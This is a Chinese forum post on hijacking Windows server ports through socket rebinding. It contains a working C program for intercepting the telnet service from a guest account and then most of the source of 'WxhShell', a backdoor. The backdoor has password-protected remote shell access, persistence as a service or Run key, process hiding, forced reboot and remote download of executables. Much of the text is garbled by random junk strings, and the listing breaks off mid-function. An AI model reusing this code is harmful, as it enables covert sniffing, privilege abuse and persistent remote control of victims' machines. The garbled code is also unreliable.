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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: KoHGweKl#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IXq(jhm8bL  
xsP4\C>  
  saddr.sin_family = AF_INET; /A07s[L  
LmL Gki$w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); HL8eD^  
hbfq]v*X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Zb(t3I>n  
srmKaa|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I}.i@d'O  
S; /. %  
  这意味着什么?意味着可以进行如下的攻击: d3^7ag%  
aj8Rb&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wNDbHR  
kb #^lO  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >"d?(@PJ  
oln<yyDs   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JYmAn?o-  
GyC)EFd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I%;Jpe  
\l,rpVv5m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5%i:4sMx *  
AW8'RfC.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (Hp'B))2  
8<dOMp;}r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f_\_9o"l  
GP,<`l&  
  #include I1=(. *B}  
  #include ;=~Xr"(/z  
  #include k1}hIAk3u  
  #include    .<&s%{EW  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1r9f[j~  
  int main() 6"QEJ  
  { j1U 5~%^  
  WORD wVersionRequested; u, kU$  
  DWORD ret; OAe#Wf!c  
  WSADATA wsaData; tP(h9|[N  
  BOOL val; bcz-$?]  
  SOCKADDR_IN saddr; ]?<n#=eW  
  SOCKADDR_IN scaddr; Y83GKh,*  
  int err; s&tE_  
  SOCKET s; qVgd(?hJ#  
  SOCKET sc; h @/;`E[  
  int caddsize; 2qU&l|>  
  HANDLE mt; s~L</Xvo  
  DWORD tid;   7P**:b  
  wVersionRequested = MAKEWORD( 2, 2 ); <$i4?)f(  
  err = WSAStartup( wVersionRequested, &wsaData ); <bUe/m  
  if ( err != 0 ) { ,+1m`9}  
  printf("error!WSAStartup failed!\n"); X.#oEmA ,P  
  return -1; w{,4rk;Hr  
  } }31Z X  
  saddr.sin_family = AF_INET; &m'kI  
   zG9|K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #h'@5 l  
Sc$UZ/qPT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); " ;NRzY  
  saddr.sin_port = htons(23); -$-8W  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~~qWI>. 4  
  { Pq p *  
  printf("error!socket failed!\n"); w"zE_9I\  
  return -1; =$^MQ\S0p  
  } !a-b6Aa  
  val = TRUE; mG2'Y)Sz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E4oz|2!m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Z" v<0]rN  
  { C/@LZ OEL  
  printf("error!setsockopt failed!\n"); I.jZ wW!r  
  return -1; 8l+H"M&|  
  } k*Nr!Z!}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; raUs%Y3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eV!L^>>>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B6M+mx"G  
SoQR#(73HK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (K{5fC  
  { IOl+t,0x&  
  ret=GetLastError(); 5<+K?uhm  
  printf("error!bind failed!\n"); dl|gG9u4Q  
  return -1; P~ 0Jg# V  
  } :#{Xuy:  
  listen(s,2); `!4,jd  
  while(1) F4C!CUI  
  { +l 0g`:  
  caddsize = sizeof(scaddr); 93Yn`Av;  
  //接受连接请求 SaDA`JmO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3YL l;TP_  
  if(sc!=INVALID_SOCKET) *dsX#Iz  
  { /n{1o\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); AHbZQulC  
  if(mt==NULL) mOBACTY^  
  { TwahR:T   
  printf("Thread Creat Failed!\n"); Dd $qQ  
  break; b>=_*nw9  
  } OI/@3"L{  
  } 5W? PCOh\  
  CloseHandle(mt); yI;"9G  
  } ?u$u?j|N  
  closesocket(s); @!%n$>p/V  
  WSACleanup(); <iLM{@lZvJ  
  return 0; S]>wc yy=n  
  }   Frm;Ej3?$  
  DWORD WINAPI ClientThread(LPVOID lpParam) .qD@ Y3-  
  { p3x?[ Ww  
  SOCKET ss = (SOCKET)lpParam; yi6N-7  
  SOCKET sc; `wz[='yM  
  unsigned char buf[4096]; %V_-%/3Z  
  SOCKADDR_IN saddr; 3=.Y,ENM;  
  long num; $95~5]-nh  
  DWORD val; blt'={Z?.x  
  DWORD ret; 8*a), 3aK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pbk$o{$`W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4 gBp8*2  
  saddr.sin_family = AF_INET; >)nS2b OE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t;q7t!sC]  
  saddr.sin_port = htons(23); 9^ed-h Bf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KG9t3<-`  
  { zc+@lJy  
  printf("error!socket failed!\n"); J%rP$O$  
  return -1; XEH}4;C'{  
  } rNN j0zw>  
  val = 100; uGH?N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LF<wt2?*  
  { =?Fkn4t  
  ret = GetLastError(); \Ad7 Gi~  
  return -1; kBWrqZ6  
  } ](0mjE04<d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GHc/Zc"iX  
  { ?A*Kg;IU  
  ret = GetLastError(); 4mYCSu14:`  
  return -1; kPxT" " k  
  } np$ zo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #=c`of6  
  { ^q[gxuL_  
  printf("error!socket connect failed!\n"); `FF8ie8L  
  closesocket(sc); D)b}f`  
  closesocket(ss); s'HD{W`  
  return -1; 2?7(A  
  } Tbbz'b;{  
  while(1) B|=|.qp$)  
  { 0"WDH)7hJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7 h=QW5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #(;<-7M2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v1G"3fy9  
  num = recv(ss,buf,4096,0); $9!D\N,}]C  
  if(num>0) XVVD 0^ Q  
  send(sc,buf,num,0); fL*T3[d  
  else if(num==0) #& .]" d  
  break; sp9W?IJ 6c  
  num = recv(sc,buf,4096,0); u_O# @eOc  
  if(num>0) X$?3U!  
  send(ss,buf,num,0); 48D?'lW %  
  else if(num==0) >7Jr^o#|_x  
  break; EM j;2!  
  } Fzq41jiS  
  closesocket(ss); "eAy^,  
  closesocket(sc); L1m{]>{-  
  return 0 ; cDEJk?3+  
  } %8.J=B  
pV[''  
c "= N  
========================================================== d=O3YNM:v  
;^){|9@  
下边附上一个代码,,WXhSHELL "h"NW[R  
|Bo .4lX  
========================================================== []kN16F  
AI ijCL  
#include "stdafx.h" n| !@1sd  
!vD{Df>  
#include <stdio.h> I~* ? d  
#include <string.h> ( <*e  
#include <windows.h> El2e~l9  
#include <winsock2.h> M" lg%j  
#include <winsvc.h> 3.Gj4/f  
#include <urlmon.h> /s:fW+C  
bJ /5|E?  
#pragma comment (lib, "Ws2_32.lib") _D7]-3uC!  
#pragma comment (lib, "urlmon.lib") m#e3%150{  
{D&9UZm  
#define MAX_USER   100 // 最大客户端连接数 !]` #JAL7  
#define BUF_SOCK   200 // sock buffer v;1F[?@3Y  
#define KEY_BUFF   255 // 输入 buffer 9nSWE W  
wBk@F5\<  
#define REBOOT     0   // 重启 }YhtUWz].  
#define SHUTDOWN   1   // 关机 DPn=n9n2  
?DV5y|}pj  
#define DEF_PORT   5000 // 监听端口 ~ Hy,7  
,FzeOSy'p  
#define REG_LEN     16   // 注册表键长度  Y k7-`  
#define SVC_LEN     80   // NT服务名长度 oFsM6+\/S  
tiPa6tQ  
// 从dll定义API E-5_{sc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E ]9\R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Lv[OUW#S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 266oTER]v:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); | tQiFC  
fnKY1y]2+  
// wxhshell配置信息 =3 ~/:8o  
struct WSCFG { u+t$l^S  
  int ws_port;         // 监听端口 u"xJjS  
  char ws_passstr[REG_LEN]; // 口令 K0pac6]  
  int ws_autoins;       // 安装标记, 1=yes 0=no sM[I4 .A3  
  char ws_regname[REG_LEN]; // 注册表键名 siDh="{s  
  char ws_svcname[REG_LEN]; // 服务名 13'vH]S$M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $ <8~k^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OFkNl}D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /\s}uSW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [%A4]QzWh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s) O[t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #EGA#SKoq  
,B}I?vN.  
}; t>)45<PEw  
qSCv )S(  
// default Wxhshell configuration BKa- k!  
struct WSCFG wscfg={DEF_PORT, &)F*@C-  
    "xuhuanlingzhe", RkeltE~u  
    1, b^c9po  
    "Wxhshell", ?|{XZQ~  
    "Wxhshell", 3oZ=k]\  
            "WxhShell Service", p{dwZ_gl  
    "Wrsky Windows CmdShell Service", N/QiI.V6  
    "Please Input Your Password: ", LK9g0_  
  1, $4FX(O0Q@  
  "http://www.wrsky.com/wxhshell.exe", 8e~|.wOL  
  "Wxhshell.exe" g?v\!/~(u  
    }; :p&!RI(l  
M]v=-  
// 消息定义模块 U).*q?.z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $*a'84-5G-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "<+ih0Ma  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /Ss7"*JLe  
char *msg_ws_ext="\n\rExit."; %h"z0@+  
char *msg_ws_end="\n\rQuit."; d'6|:z9c  
char *msg_ws_boot="\n\rReboot..."; w@\vHH.;V  
char *msg_ws_poff="\n\rShutdown..."; (UCK;k  
char *msg_ws_down="\n\rSave to "; Q cjc ,  
x3ERCqTR  
char *msg_ws_err="\n\rErr!"; 5l-mW0,MK  
char *msg_ws_ok="\n\rOK!"; 8N%Bn&   
_/*U2.xS  
char ExeFile[MAX_PATH]; ^>y@4qB  
int nUser = 0; 2 !" XzdD  
HANDLE handles[MAX_USER]; V==z"  
int OsIsNt; SHb(O<6  
I:V0Xxz5t  
SERVICE_STATUS       serviceStatus; ;{[>&4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~9\WFF/  
 }}<Z,/O  
// 函数声明 u}bf-;R  
int Install(void); ow=UtA-^O  
int Uninstall(void); Si 9Z>MR  
int DownloadFile(char *sURL, SOCKET wsh); Q^K"8 ;  
int Boot(int flag); ]{~NO{0@Y  
void HideProc(void); \,Lo>G`!  
int GetOsVer(void); 'D1A}X  
int Wxhshell(SOCKET wsl); V(MFna)  
void TalkWithClient(void *cs); jeyLL<  
int CmdShell(SOCKET sock); $eV$2p3H  
int StartFromService(void); \o-&f:  
int StartWxhshell(LPSTR lpCmdLine); pCpb;<JG  
4F>Urh+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t&Os;x?To?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /y7M lU9  
9mc!bj^811  
// 数据结构和表定义 R2L;bGI*J  
SERVICE_TABLE_ENTRY DispatchTable[] = Zc |/{$>:W  
{ gG%V 9eOQ  
{wscfg.ws_svcname, NTServiceMain}, $ N']TN  
{NULL, NULL} dm "n%  
}; lDC$F N  
 O|A_PyW  
// 自我安装 ;R=.iOn  
int Install(void) BG^C9*ZuP  
{ AB Xl  
  char svExeFile[MAX_PATH]; _{vkX<s  
  HKEY key; `dMqe\o%!  
  strcpy(svExeFile,ExeFile); F["wD O  
SjjIr ^  
// 如果是win9x系统,修改注册表设为自启动 *{undZ?(>  
if(!OsIsNt) { `u!l3VZ/4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { , $Qo =  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {wF&+kH3  
  RegCloseKey(key); V~ ~=Qp+.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ogt]_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !{n<K:x1  
  RegCloseKey(key); 6J~12TU,  
  return 0; X1[CX&Am  
    } j#~Jxv%n  
  } gw`B"c|  
} ?.c;oS|  
else { +#b:d=v!  
0c.s -  
// 如果是NT以上系统,安装为系统服务 }),w1/#5u8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9%ii '{  
if (schSCManager!=0) FEPXuCb  
{ Glq85S  
  SC_HANDLE schService = CreateService ]nQt>R p_  
  ( OX%MP!#KU  
  schSCManager, yq_LW>|Z  
  wscfg.ws_svcname, p2J|Hl|  
  wscfg.ws_svcdisp, UY2X  
  SERVICE_ALL_ACCESS, $wYtyN[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {Y}dv`G#Iu  
  SERVICE_AUTO_START, aw ?=hXR!  
  SERVICE_ERROR_NORMAL, =z{JgD/  
  svExeFile, +5.t. d  
  NULL, ri C[lB  
  NULL, N4;7gSc"  
  NULL, ]Mj/&b>"e  
  NULL, Sp}D ;7  
  NULL biozZ  
  ); q'oMAMf}  
  if (schService!=0) VKm!Ri$  
  { "'^4*o9  
  CloseServiceHandle(schService); 04J}UE]Ww  
  CloseServiceHandle(schSCManager); 2#X4G~>#h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n\I#CH0V  
  strcat(svExeFile,wscfg.ws_svcname); "M|P+A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #U=X NU}k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }7{t^>;D  
  RegCloseKey(key); ~Au,#7X)  
  return 0; ]fnnZ  
    } T9 <2A1  
  } &2-L. Xb  
  CloseServiceHandle(schSCManager); ,:Vm6u!  
} :RSz4  
} EA.D}XC  
M,j(=hRJ/E  
return 1; zPEg  
} _4 6X%k  
2;L|y._`w  
// 自我卸载 !$A37j6  
int Uninstall(void) m`4R]L]  
{ 'B83m#HR#  
  HKEY key; q;5 i4|  
B:"THN^  
if(!OsIsNt) { DlMe5=n -u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #X: 'aj98  
  RegDeleteValue(key,wscfg.ws_regname); D3Jr3 %>  
  RegCloseKey(key); 53HU.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =k3!RW'  
  RegDeleteValue(key,wscfg.ws_regname); %2'A pp  
  RegCloseKey(key); S1n3(U:m  
  return 0; j4FeSGa  
  } Lf:uNl*D  
} ` b !5^W  
} O2{)WWOT  
else { lcON+j  
*5sBhx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JO&JP3N1  
if (schSCManager!=0) $&|y<Y=  
{ sUl6hX4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s6 ( z  
  if (schService!=0) ?#0snlah|  
  { D PrBFmHF  
  if(DeleteService(schService)!=0) { >}~#>Ru  
  CloseServiceHandle(schService); /wQL  
  CloseServiceHandle(schSCManager); ]DFXPV  
  return 0; rI5F oh6  
  } vgn@d,v  
  CloseServiceHandle(schService); QU{Ech'  
  } K\[!SXg@  
  CloseServiceHandle(schSCManager); y AF+bCXo  
} ~5ZvOX6L2  
} zJa)*N  
"Th$#3  
return 1; eRbGZYrJ  
} ^n#1<K[E  
]!:oYAm  
// 从指定url下载文件 s/"&9F3  
int DownloadFile(char *sURL, SOCKET wsh) HhA -[p  
{ |VOg\[f  
  HRESULT hr; D+V7hpH-  
char seps[]= "/"; Mv|ykJoz"  
char *token; &a!BD/  
char *file; KDi|(  
char myURL[MAX_PATH]; |( (zTf  
char myFILE[MAX_PATH]; [#" =yzR<3  
*y`%]Hy<  
strcpy(myURL,sURL); j^`X~gE  
  token=strtok(myURL,seps); F} J-gZl  
  while(token!=NULL) d lH$yub  
  { iK;dU2h  
    file=token; +&tgJ07A  
  token=strtok(NULL,seps); Q8p&Ki;i  
  } U]qav,^[  
PYB+FcR6?n  
GetCurrentDirectory(MAX_PATH,myFILE); Uts"aQ  
strcat(myFILE, "\\"); "wH)mQnd  
strcat(myFILE, file); +i `*lBup$  
  send(wsh,myFILE,strlen(myFILE),0); (VvKGh  
send(wsh,"...",3,0); '"pd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3[p_!eoW  
  if(hr==S_OK) 0uVv<Q~  
return 0; q<e&0u4  
else Vi! Q  
return 1; F}Mhs17!|  
G DSfT{kK\  
} ,F+B Wot4  
N;F)jO xsl  
// 系统电源模块  (dJI_A  
int Boot(int flag) KHKS$D  
{ F9c`({6k  
  HANDLE hToken; RnVtZ#SCh  
  TOKEN_PRIVILEGES tkp; P`$12<\O1  
Ocg"M Gb  
  if(OsIsNt) { ^s7,_!.Pq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !2Dy_U=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,Y_{L|:w  
    tkp.PrivilegeCount = 1; C>^D*C(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; { PlK@#UN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '/0#lF  
if(flag==REBOOT) { W:&R~R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k!jNOqbb  
  return 0; J.*XXM- V  
} b yg0.+e0  
else { kg5ev8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Eu@5L9A  
  return 0; \`'KlF2  
} Qx|H1_6  
  } `znB7VQ0  
  else { ?9j{V7h  
if(flag==REBOOT) { lYf+V8{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WiNT;v[  
  return 0; oR+-+-? ?$  
}  }`/gX=91  
else { A)n W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @}FAwv^f  
  return 0; L/}iy}  
} xIbMs4'iEx  
} k@!r#`j3  
@`u?bnx]e  
return 1; *a}(6Cx  
} = Je>`{J  
~yJ4qp-  
// win9x进程隐藏模块 %:6?Y%`*[  
void HideProc(void) AWr}"r?s  
{ =Cf ]  
db=$zIB[:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qG8s;_G  
  if ( hKernel != NULL ) noVa=aU^  
  { khd5 Cf[   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u.|~   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MlO-+}`_+  
    FreeLibrary(hKernel); .,2V5D-${  
  } 4 (?MUc  
l?N`{ ,1^  
return; i`U: gw  
} cH`^D?#se  
qV1O-^&[f=  
// 获取操作系统版本 O_@2;iD^^  
int GetOsVer(void) T(X:Yw  
{ @_'OyRd8  
  OSVERSIONINFO winfo; Go\VfLLw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d{+(Lpj^  
  GetVersionEx(&winfo); vL_zvX A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M.%shrJ/  
  return 1; ^t. W|teD  
  else F%.xuLW  
  return 0; |g)FA_#|<  
} 1IH[g*f  
</oY4$l'  
// 客户端句柄模块 _uH9XGm  
int Wxhshell(SOCKET wsl) G"s0GpvQ  
{ 7| YrdK<  
  SOCKET wsh; /"AvOh*  
  struct sockaddr_in client; K!{5 [G  
  DWORD myID; WnxEu3U  
`"y`AY/N  
  while(nUser<MAX_USER) w8M2N]&:  
{ 60B-ay0e$b  
  int nSize=sizeof(client); nnCug  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6XUuGxQV/  
  if(wsh==INVALID_SOCKET) return 1; V% axeqs  
9Ld9N;rWm#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <bmLy_":  
if(handles[nUser]==0) hq_~^/v\  
  closesocket(wsh); )@7DsV/M  
else 3P=w =~e  
  nUser++; z_SagU,\  
  } <&#+ E%E4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -e`;bX_N)  
I lG:X)V%  
  return 0; -zfoRU v  
} D&{ *AH%Q  
b](o]O{v  
// 关闭 socket D!FaEN  
void CloseIt(SOCKET wsh) ," R>}kPli  
{ jz:gr=* z  
closesocket(wsh); aiftlY  
nUser--; WYIw5 jzC  
ExitThread(0); F|eu<^"$ H  
} pG yRX_;  
+$pJ5+v  
// 客户端请求句柄 X-Ycz 5?  
void TalkWithClient(void *cs) c?6d2jH.  
{ Q_P5MLU>  
L7q |^`  
  SOCKET wsh=(SOCKET)cs; }5gr5g\OtP  
  char pwd[SVC_LEN]; _vrWj<wyf  
  char cmd[KEY_BUFF]; w=J4zkWk  
char chr[1]; T%I&txl  
int i,j; RsSXhPk?  
W"sr$K2m|  
  while (nUser < MAX_USER) { b~Z=:'m8  
it}-^3A M  
if(wscfg.ws_passstr) { =MSu3<y,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m6n hC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X%4h(7;v  
  //ZeroMemory(pwd,KEY_BUFF); !Yh}H<w0  
      i=0; kV)' a  
  while(i<SVC_LEN) { Fj=NiZ=  
0'yyfz  
  // 设置超时 U"5q;9#q  
  fd_set FdRead; ])$S\fFm  
  struct timeval TimeOut; {+=i?  
  FD_ZERO(&FdRead); Pz473d  
  FD_SET(wsh,&FdRead); {'~sS  
  TimeOut.tv_sec=8; ,IjdO(?TC  
  TimeOut.tv_usec=0; o/JPYBhdl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k&GHu0z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6E+=Xi  
&BgU:R,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,P@QxnQ   
  pwd=chr[0]; ?0J0Ij,  
  if(chr[0]==0xd || chr[0]==0xa) { `"Dy%&U  
  pwd=0; gMZ&,n4  
  break; u%opY<h  
  } <o@)SD~K  
  i++; i$O#%12l  
    } XiG88Kwv  
<xF?~7  
  // 如果是非法用户,关闭 socket `pYE[y+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N(R,8GF5G  
} H1Xovr  
,OB&nN t>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Nmf#`+7gCI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <nA3Sd"QfV  
AQ}l%  
while(1) { 3wNN<R  
\Da~p9 T&  
  ZeroMemory(cmd,KEY_BUFF); SJ(9rhB5*.  
{HuLuP 0t  
      // 自动支持客户端 telnet标准   @,vv\M0)p  
  j=0; OK\]*r  
  while(j<KEY_BUFF) { M(S{1|,V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  y h-9u  
  cmd[j]=chr[0]; >4'21,q  
  if(chr[0]==0xa || chr[0]==0xd) { VRhRwdC  
  cmd[j]=0; 8|<f8Z65!  
  break; P%!q1`Eke(  
  } Mcb<[~m  
  j++; \>[gl!B_Rr  
    } )/TVJAJ  
@7|)RSBQz  
  // 下载文件 M,{<TpCx  
  if(strstr(cmd,"http://")) { YHh u^}|jQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EG1x  
  if(DownloadFile(cmd,wsh)) s}!"a8hU`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *2:Yf7rvI+  
  else *]9XDc]{j1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WFdem/\kX  
  } 4H9xO[iM  
  else { K z^hQd  
h>Rpb#]  
    switch(cmd[0]) { )fR1n}#  
  UJs?9]x>  
  // 帮助 j)@oRWL<  
  case '?': { 0C7"3l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +}]wLM}\UF  
    break; *EE|?vn  
  } Q2R>lzB  
  // 安装 ~p!QSRu~,b  
  case 'i': { 4+,*sn  
    if(Install()) <M>#qd@c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %>]#vQ|  
    else )XZ,bz*jn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iy9VruT<x  
    break; Ko}7$2^  
    } &@Yoj%%  
  // 卸载 WFks|D:sB  
  case 'r': { %,E7vYjT%  
    if(Uninstall()) fa.f(c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L%4tw5*N  
    else C$0 ITw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6!o/~I#  
    break; h@/>?Va  
    } LQ|<3]  
  // 显示 wxhshell 所在路径 Ae3#>[]{  
  case 'p': { 9 &[\*{  
    char svExeFile[MAX_PATH]; -*5yY#fw}  
    strcpy(svExeFile,"\n\r"); C890+(D~  
      strcat(svExeFile,ExeFile); E<P*QZ-C3  
        send(wsh,svExeFile,strlen(svExeFile),0); 4t(QvIydA  
    break; *xho  
    } 0MhxFoFO  
  // 重启 J2x$uO{Bn  
  case 'b': { q .)^B@}_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :4b- sg#  
    if(Boot(REBOOT)) m R"9&wq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  2fbvU  
    else { LDSbd,GF  
    closesocket(wsh); yl|R:/2V  
    ExitThread(0); PK9Qm'W b  
    } 4>d[qr*<  
    break; A'w2GC{.  
    } 4O9tx_<JG  
  // 关机 *,_2hvlz  
  case 'd': { y& Gw.N}<r  
